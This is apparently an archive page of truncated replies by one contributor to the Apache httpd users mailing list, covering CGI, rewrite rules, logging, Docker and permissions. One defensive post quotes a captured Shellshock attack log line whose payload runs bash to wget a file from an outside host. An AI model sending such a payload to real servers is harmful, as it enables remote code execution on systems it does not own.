Re: [users@httpd] 回复: [users@httpd] how to get post data when using shell script as cgi script.

2018-01-03 Thread Kurtis Rader
g of HTTP requests when invoked via the CGI protocol. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] how to get post data when using shell script as cgi script.

2018-01-03 Thread Kurtis Rader
ell scripts (that is, a program written in sh/bash/ksh/zsh or similar languages that adhere to the POSIX 1003 shell standard). That can only lead to much wasted time, bugs, and security holes. Yes, it is technically possible to handle a HTTP POST request using such a shell. But you shouldn't do

Re: [users@httpd] Unexpected shutdown

2016-07-02 Thread Kurtis Rader
. Run that now so you learn what to look for. Find the line that contains ":80" in the local address column and "LISTEN" in the state column. Next to that will be the PID and process name. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Possible DOS Attack

2016-05-20 Thread Kurtis Rader
hree days ago and automatically blacklisted by my firewall because the HTTP request specified an invalid HTTP "Host:" header. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Possible DOS Attack

2016-05-20 Thread Kurtis Rader
quot;-" > "Apache/2.4.6 (Red Hat Enterprise Linux) PHP/5.4.16 (internal dummy > connection)" > It's checking whether your web server allows the OPTIONS command which might allow other forms of attacks to succeed. I strongly recommend disallowing that HTTP command. Easiest

Re: [users@httpd] Apache permissions stabs new Linux user in face with icepick. Suggestions?

2016-03-09 Thread Kurtis Rader
ot given that you already had to grant the web server access to your home directory in order to support your requirements. The concern now is whether user accounts on your machine other than the one running the apache web server can exploit those looser permissions. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Apache permissions stabs new Linux user in face with icepick. Suggestions?

2016-03-09 Thread Kurtis Rader
ial information leak that could theoretically be used to launch an attack. Whether that's a concern for you depends on a lot of factors. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Apache permissions stabs new Linux user in face with icepick. Suggestions?

2016-03-09 Thread Kurtis Rader
he public execute bit is not set, or the group execute but is not set or if set apache is not a member of that group, or the user execute bit is not set or if set apache is not running as that user. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] 回覆︰ [users@httpd] 回覆︰ [users@httpd] How to solve ONE fixed IP serving multiple web-servers running on VMs

2015-12-27 Thread Kurtis Rader
ms before. > > I doubt whether Perdition can help me out on my current test ? > > What is the relevance of the Perdition mail proxy to your current problem? It seems to me to that you don't understand the difference between the SMTP and HTTPD protocols. Which is why you should h

Re: [users@httpd] 回覆︰ [users@httpd] How to solve ONE fixed IP serving multiple web-servers running on VMs

2015-12-27 Thread Kurtis Rader
oftware). > I expect keeping the Host clean for running VirtualBox ONLY. > Then you need another system that handles all traffic to/from your single fixed/static IP address on which you can run a "reverse proxy" and forwards traffic to the appropriate VMs on your VirtualBox host.

Re: [users@httpd] Problem with LD_LIBRARY_PATH variable in httpd CentOS 7.1

2015-12-20 Thread Kurtis Rader
be relevant: Changes with Apache 2.4.2 *) SECURITY: CVE-2012-0883 (cve.mitre.org) envvars: Fix insecure handling of LD_LIBRARY_PATH that could lead to the current working directory to be searched for DSOs. [Stefan Fritsch] -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] mpm-event, ServerLimit and ThreadsPerChild on multicore systems

2015-11-25 Thread Kurtis Rader
Include any relevant configuration options, error messages, and how to reproduce the problem. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] mpm-event, ServerLimit and ThreadsPerChild on multicore systems

2015-11-25 Thread Kurtis Rader
configurable values for ServerLimit, ThreadsPerChild, etc. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] How to switch between two Apache instalations?

2015-11-22 Thread Kurtis Rader
arly have other customizations in place since "which httpd" would not normally show the output you reported. So it's possible your $PATH also contains atypical entries that may cause httpd 2.2 to be found first even after you run "brew link". -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Cannot find request by error log id

2015-11-12 Thread Kurtis Rader
. The value logged by %L in the access log cannot be found in the error log. The %L value is clearly a hash of some sort (e.g., SHA1 value of the incoming IP address and port) converted to ASCII. This looks like a bug to me. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Apache HTTPD returning status code 413

2015-10-30 Thread Kurtis Rader
(null) bytes. So if you want to capture binary data you'll want to use the fixed version I attached to this problem report: https://bz.apache.org/bugzilla/show_bug.cgi?id=57045 -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: apache 2.4 directory autoindex corrupted

2015-10-26 Thread Kurtis Rader
atic files. So I suspect there is something unusual about your apache config that worked fine, possibly by accident, under version 2.2 and results in incorrect output under version 2.4. Are you using any third-party modules? Can you employ a "divide and conquer" debug strategy to eliminate

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-26 Thread Kurtis Rader
cesses? It seems to me you're confusing a guideline (e.g., minimize the number of processes per container) for a mandate (e.g., have only one process per container). -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-25 Thread Kurtis Rader
pect to recognizing and dispatching incoming requests as well as dealing with housekeeping chores may mandate one or more processes or threads for activities other than handling a HTTP request. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-25 Thread Kurtis Rader
sses; including the Apache HTTP server. Take a look at your apachectl script for the equivalent block of code then look at the contents of the file it refers to. You'll want to ensure you have set and exported the same variables. Probably the easiest way is to run the same "." (d

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-25 Thread Kurtis Rader
binary. If you choose to invoke the httpd binary directly without the aid of a wrapper script it simply becomes your responsibility to pass all necessary and appropriate arguments; e.g., -f to specify where the config file can be found. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-25 Thread Kurtis Rader
o > that. > Works for me. Let us know if it doesn't work for you. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-25 Thread Kurtis Rader
On Sat, Oct 24, 2015 at 11:31 PM, Nick Kew wrote: > On Sat, 2015-10-24 at 21:11 -0700, Kurtis Rader wrote: > > I'm going to assume that by "single process" you meant "single user". > > If you read the docs, you'll find single process mode > de

Re: [users@httpd] Running Apache in Single Process Mode for Docker Container?

2015-10-24 Thread Kurtis Rader
mailing list to know how to configure a Docker container to die if the Apache HTTP server dies. Nor how to start an Apache HTTP server daemon and have its output written to stdout and stderr in a manner that can be collected by whatever software monitors the output of a Docker virtual machine. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Is this a flaw or not?

2015-10-18 Thread Kurtis Rader
tes > libreport-plugin-kerneloops.x86_64 2.6.2-4.fc22 @updates > [root@casablanca ~]# > > Here, the kernel 4.2.3-200.fc22 is installed and the machine according to > uname -r booted from it. > > - > > Does the BIOS boot partition make the difference? Can anybody explain > this strange behaviour? > > Thanks for your attention. > > suomi > > - > To unsubscribe, e-mail: users-unsubscr...@httpd.apache.org > For additional commands, e-mail: users-h...@httpd.apache.org > > -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: make apache 2.4.17 portable under ubuntu

2015-10-16 Thread Kurtis Rader
On Fri, Oct 16, 2015 at 6:23 PM, Good Guy wrote: > On 17/10/2015 01:41, Kurtis Rader wrote: > >> >> That is not correct, Good Guy. Linux, and pretty much any operating >> system, uses binary programs. Which means programs that consist of machine >> executable op co

Re: [users@httpd] Re: make apache 2.4.17 portable under ubuntu

2015-10-16 Thread Kurtis Rader
common directory for all the files you need is root ("/"). P.S., There are very fringe, unusual, computers that directly execute byte code for languages like Forth and Java rather than machine language as typically understood by most CPUs. But even those systems are effectively executing binaries. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] mod_rewrite

2015-10-12 Thread Kurtis Rader
> The [OR] on the second RewriteCond does nothing since it isn't followed by another RewriteCond. You also don't need the first RewriteCond since by definition an empty HTTP_REFERER won't match pattern. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] linux portable version for httpd 2.4 ?

2015-10-12 Thread Kurtis Rader
with whatever options meet your requirements. For example, the install dir might be /usr/local/apache24_testing or some such that exists on both of your systems. Building from source on Linux is trivial (unlike on MS Windows). -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] RE: Apache Copied In Another Location AIX

2015-10-11 Thread Kurtis Rader
the file /data/apache/patch2.2/lib/libaprutil-1.so exist? Do the other share object pathnames exist? If they exist run the "file" command against them and the httpd binary. Are they all the same architecture? Especially, are they all 32 or 64 bit binaries? If they're 64-bit binaries does the system you're trying to run them on support 64-bit binaries? -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] a newbie question: Share custom Data between modules

2015-10-06 Thread Kurtis Rader
ke ap_table with key value between modules. is it possible? > Thanks. > You are unlikely to get an answer on this mailing list. Even though developers (like myself) read this mailing list it isn't the correct forum for such questions. Check out the "Third-Party Module Authors'

Re: [users@httpd] redirect q

2015-09-29 Thread Kurtis Rader
wrong with what you showed us other than you probably should be using %{HTTP_HOST} and the RewriteRule statement is needlessly complicated (but then so are most of the examples I saw from the google search recommended). -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] setfib: NO: invalid FIB (max 0) FreeBSD 9.3 64bit

2015-09-09 Thread Kurtis Rader
quot; yields a bunch of results that suggest your running apache on FreeBSD. Further, the setfib command runs a program with a specific routing table. Presumably this has something to do with IP firewalls on FreeBSD. So asking this question on a FreeBSD mailing list or forum is more likely to ge

Re: [users@httpd] Re: Single Sign-On windows AD authentication with Windows Apache web server

2015-09-06 Thread Kurtis Rader
ache http server is on Windo**ws machine.* > If you are trying to use a module that is not part of the core Apache HTTP server and which is only available on MS Windows you should ask for help on whatever mailing list or web site is devoted to supporting that module. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: Single Sign-On windows AD authentication with Windows Apache web server

2015-09-06 Thread Kurtis Rader
> > Please help me out here. This is very crucial for my project and deadline > is already passed. :( > > Please let me know in case of any other queries. > > Thanks & Regards, > *Ashish Mistry* > > -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Main domain and virtual hosts

2015-09-01 Thread Kurtis Rader
rome/44.0.2403.157 Safari/537.36" > The common log format (CLF), which is the default, leaves a lot to be desired. I highly recommend using a CustomLog format that includes, at a minimum, "%{Host}i" so that the client provided HTTP host header is part of the log message. This is what

Re: [users@httpd] Main domain and virtual hosts

2015-08-31 Thread Kurtis Rader
.example.com:80 > > My DNS has A records > > example.com -> myIP > *.example.com -> myIP > > myIP is the same for both records. > > site1.example.com works fine and goes to the correct site. > > site2.example.com <http://site1.example.com> works fine and

Re: [users@httpd] TimeOut value question

2015-08-31 Thread Kurtis Rader
only provides static content. A lower value (in the single digits) might, if you're lucky, mitigate a DDOS attack enough to keep your server from melting down. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: Proxying From Directory To App On Port

2015-08-27 Thread Kurtis Rader
one request ended up in 200 lines of > garble (I cleared the log beforehand). > That is often the case. Which is why it is important to perform one experiment at a time; i.e., issuing one client request then saving the log files for analysis. If you do not minimize the number of variables (e.

Re: [users@httpd] Re: Proxying From Directory To App On Port

2015-08-26 Thread Kurtis Rader
by "correctly on /app"? Nowhere in the data you've provided so far, in particular the Apache virtual host configuration, is a URI prefix of "/app" referenced. If you're using that as a synonym for "/projects/CS32Brewer" please say so. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: Proxying From Directory To App On Port

2015-08-25 Thread Kurtis Rader
. For example, LoadModule dumpio_module libexec/apache2/mod_dumpio.so LogLevel trace6 DumpIOInput On DumpIOOutput On LogLevel dumpio_module:trace7 I then issue a series of carefully constructed HTTP requests meant to eliminate irrelevant details and examine the error log for clues. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Upgrade of Apache (Minor Version)

2015-08-24 Thread Kurtis Rader
configuration of the program. As far as I know the Apache httpd project adheres to that rule. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: Proxying From Directory To App On Port

2015-08-24 Thread Kurtis Rader
equests the app makes"? Is it a web browser or something else? And if something else please provide more details. What do you mean by "the remote IP address is shown as localhost:80"? Shown where? By what program? -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Proxying From Directory To App On Port

2015-08-24 Thread Kurtis Rader
n other words the flow of requests and responses is not clear from your description. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: CGI environment variables different between 2.2 and 2.4?

2015-08-22 Thread Kurtis Rader
t what is passed to the subprocess. I would open a second issue asking that the documentation make it clear when directives like DocumentRoot have the side effect of setting an environment variable. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: CGI environment variables different between 2.2 and 2.4?

2015-08-22 Thread Kurtis Rader
tpd.apache.org/docs/2.4/mod/core.html#documentroot ) doesn't even mention the corresponding env var. I think that's a documentation bug. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: CGI environment variables different between 2.2 and 2.4?

2015-08-22 Thread Kurtis Rader
d.apache.org/docs/2.4/mod/mod_cgi.html which in turn links to the official specification at http://www.ietf.org/rfc/rfc3875. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] apache segfault debugging with gdb - need advice

2015-08-21 Thread Kurtis Rader
pecially in a well written program like Apache HTTPD. A well written program will normally check whether the open (or any syscall which returns a file descriptor) failed and refuse to use the -1 value as if it were a valid file descriptor number. So I would be surprised if increasing that value resol

Re: [users@httpd] Apache 2.4, NFS-mounted content, strict permissions & htaccess

2015-08-19 Thread Kurtis Rader
As user2 repeat the ls command: ls -l /test/file You should get a "permission denied" error. As user1 restore the "x" permission and remove the "r" permission from the directory: chmod 511 /test As user2 repeat the ls command: ls -l /test/file It should work this time. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Using Httpd & Docker/Kubernetes logging

2015-08-16 Thread Kurtis Rader
d posting to > stackoverflow, and the best idea given was creating a symlink in the > container. Is there a way to do this officially? > > http://stackoverflow.com/posts/32013582 > FYI, That URL isn't valid; it results in a "page not found" error from Stack Overflow. --

Re: [users@httpd] Using Httpd & Docker/Kubernetes logging

2015-08-16 Thread Kurtis Rader
apache2/test-access.log.%Y-%m-%d 86400 " krader_custom ErrorLog "|/usr/sbin/rotatelogs -c -f -l -L /private/var/log/apache2/test-error.log /private/var/log/apache2/test-error.log.%Y-%m-%d 86400" Obviously you'll want to substitute another program for /usr/sbin/rotatelogs in the

Re: [users@httpd] ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

2015-07-19 Thread Kurtis Rader
nsultant to help you with these issues. It's only because your questions up to this point have had fairly obvious answers and didn't require actual knowledge of your web server environment that we could help. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] CGI Arguments

2015-07-07 Thread Kurtis Rader
s. Information is passed to them from the web server via environment variables and, for POST requests, standard input. You pass arguments to a CGI script via the URI query string. See https://en.wikipedia.org/wiki/Common_Gateway_Interface -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Security question

2015-07-02 Thread Kurtis Rader
try for the most recent attack the above rule caught (I have a custom log format): 2015-06-28T06:08:02 1435496882.639185 400 shellshock-exploit 6491 616 194.8.18.88 75.101.21.75 "GET / HTTP/1.0" "() { :;}; /bin/bash -c \"wget -O /tmp/bbb dprftp.asuscomm.com/novo.php?ip=37352e3130312e32312e3735\"" -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] mod_rewrite is ignored or disabled

2015-06-28 Thread Kurtis Rader
James, keep in mind that in a given context (e.g., a .htaccess file) all of the directives are parsed and processed before being applied to the current request. So, as Zimmi points out, having more than one RewriteEngine doesn't make any sense. The same is true for RewriteBase. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
&ref=books' so it's hard to know exactly what is happening. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
a.com left intact Okay, the Apache documentation says that the Redirect directive has precedence over Alias and ScriptAlias directives. It doesn't say anything about RewriteRule directives. But I'm willing to bet that's the problem since it would be strange to use both RewriteRule and Re

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
y/?testing=123" do you get a 403 Forbidden status in response? -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
line at the top of your .htaccess? If not try adding one. You probably also want "RewriteBase /" as the next line. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
me section were working. It was just this one rule that wasn't working. Which is it? At this point you should probably include your entire .htaccess and httpd.conf files (stripped of anything sensitive like paths to security certificates) as attachments. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
ug logging. Use tools like the curl command to execute the HTTP requests so that you have total control over the URI and headers being passed to your server. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
On Sat, Jun 27, 2015 at 1:58 PM, James Moe wrote: > On 06/27/2015 12:00 PM, Kurtis Rader wrote: > > > > > I guess this build did not include dumpio_module. Adding the above > produced no additional logging. Did you add or uncomment the appropriate LoadModule line?

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
;s what I use to debug situations like this. Which is fine for short durations. But for longer term tracking of requests to your server it's better, and less resource intensive, if you simply define a CustomLog that includes the "%r" format string so that the entire URI ends up in the access log. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
? A "Referer:" header is not the URI sent to the web server. It's typically added by the web browser to indicate the URI from which the request originated. Your error log should include the entire URI, including query string, sent to your server. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-27 Thread Kurtis Rader
06-26T18:01:39 1435366899.344840 200 - 228749 61272 ::1 localhost "GET /?app=ecom&ns=catshow&ref=books HTTP/1.1" "curl/7.37.1" -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] ReDirect question

2015-06-26 Thread Kurtis Rader
e the rewrite rule in the wrong container (i.e., server, location, directory, virtual host). P.S., If you want to match the query string literally rather than as a pattern which matches a subset of the query string you should preface the pattern with an equal-sign: RewriteCond %{QUERY_STRING} =

Re: [users@httpd] ReDirect question

2015-06-26 Thread Kurtis Rader
On Fri, Jun 26, 2015 at 1:36 PM, Kurtis Rader wrote: > My question for James would be how do you know the query string has the > parameters in that exact order? Unless the query string has been > hand-crafted you cannot assume the parameters will appear in any specific > order

Re: [users@httpd] ReDirect question

2015-06-26 Thread Kurtis Rader
e the parameters will appear in any specific order. Also, your pattern doesn't handle the case where the parameters are separated by semicolons (which is a legal alternative to ampersand). In general matching against QUERY_STRING is very difficult to do in a robust manner. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Problem Installing libapache2-mod-php5

2015-06-10 Thread Kurtis Rader
ft from the Ubuntu upgrade is interfering. You may need to remove packages then manually remove any unexpected files related to those packages that are still in the filesystem before retrying the install. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Web app works with Apache Server (1.3.20) on some but not all identically configured PCs

2015-06-02 Thread Kurtis Rader
lematic on MS-Windows due to how CLI arguments are parsed. I strongly recommend using only forward slashes in file paths whenever possible and never mix forward and back slashes as path separators. P.S., This type of problem is a good example of why you want to avoid "shelling out" to a

Re: [users@httpd] Response headers set by apache

2015-06-01 Thread Kurtis Rader
ustralia? Because that would yield a local timestamp of 786326400, 1994-12-02 00:00:00 local time. I would recommend searching for values in the range 786297600 +/- n * 3600 for n in -12+12. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

[users@httpd] Re: Removing query string through .htaccess

2015-05-22 Thread Kurtis Rader
press_test_cookie=WP+Cookie+check ``` -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re: Removing query string through .htaccess

2015-05-21 Thread Kurtis Rader
rule like this RewriteCond %{QUERY_STRING} !="" RewriteRule ^ %{REQUEST_URI}? [R=302,L] When I issue a "GET /hello.php?whatever=1" with either version I get a 302 response with Location: http://www.skepticism.us/hello.php Also, if you don't want to match non-whitespace I recommend

Re: [users@httpd] Re:Re: [users@httpd] Re:Re: [users@httpd] how to block the duplicated requests?

2015-05-20 Thread Kurtis Rader
convinced you that implementing this logic in the web server is the wrong place to do it then I would recommend ModSecurity: http://www.modsecurity.org/. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank

Re: [users@httpd] Re:Re: [users@httpd] how to block the duplicated requests?

2015-05-19 Thread Kurtis Rader
exceeded.""" now = time.time() time_delta = now - self.last_check self.last_check = now self.allowance += time_delta * self.ratio if self.allowance > self.rate: self.allowance = int(self.rate) # throttle if self.al

Re: [users@httpd] Help - 2.2 to 2.4 migration onto new server failing

2015-05-17 Thread Kurtis Rader
ystems) but verified it with my MS-Windows Vista virtual machine. There is probably a GUI (graphical user interface) means of ascertaining the same data but I have no idea how to do so since I generally prefer old-school CLI methods. -- Kurtis Rader Caretaker of the exceptional canines Junior and Hank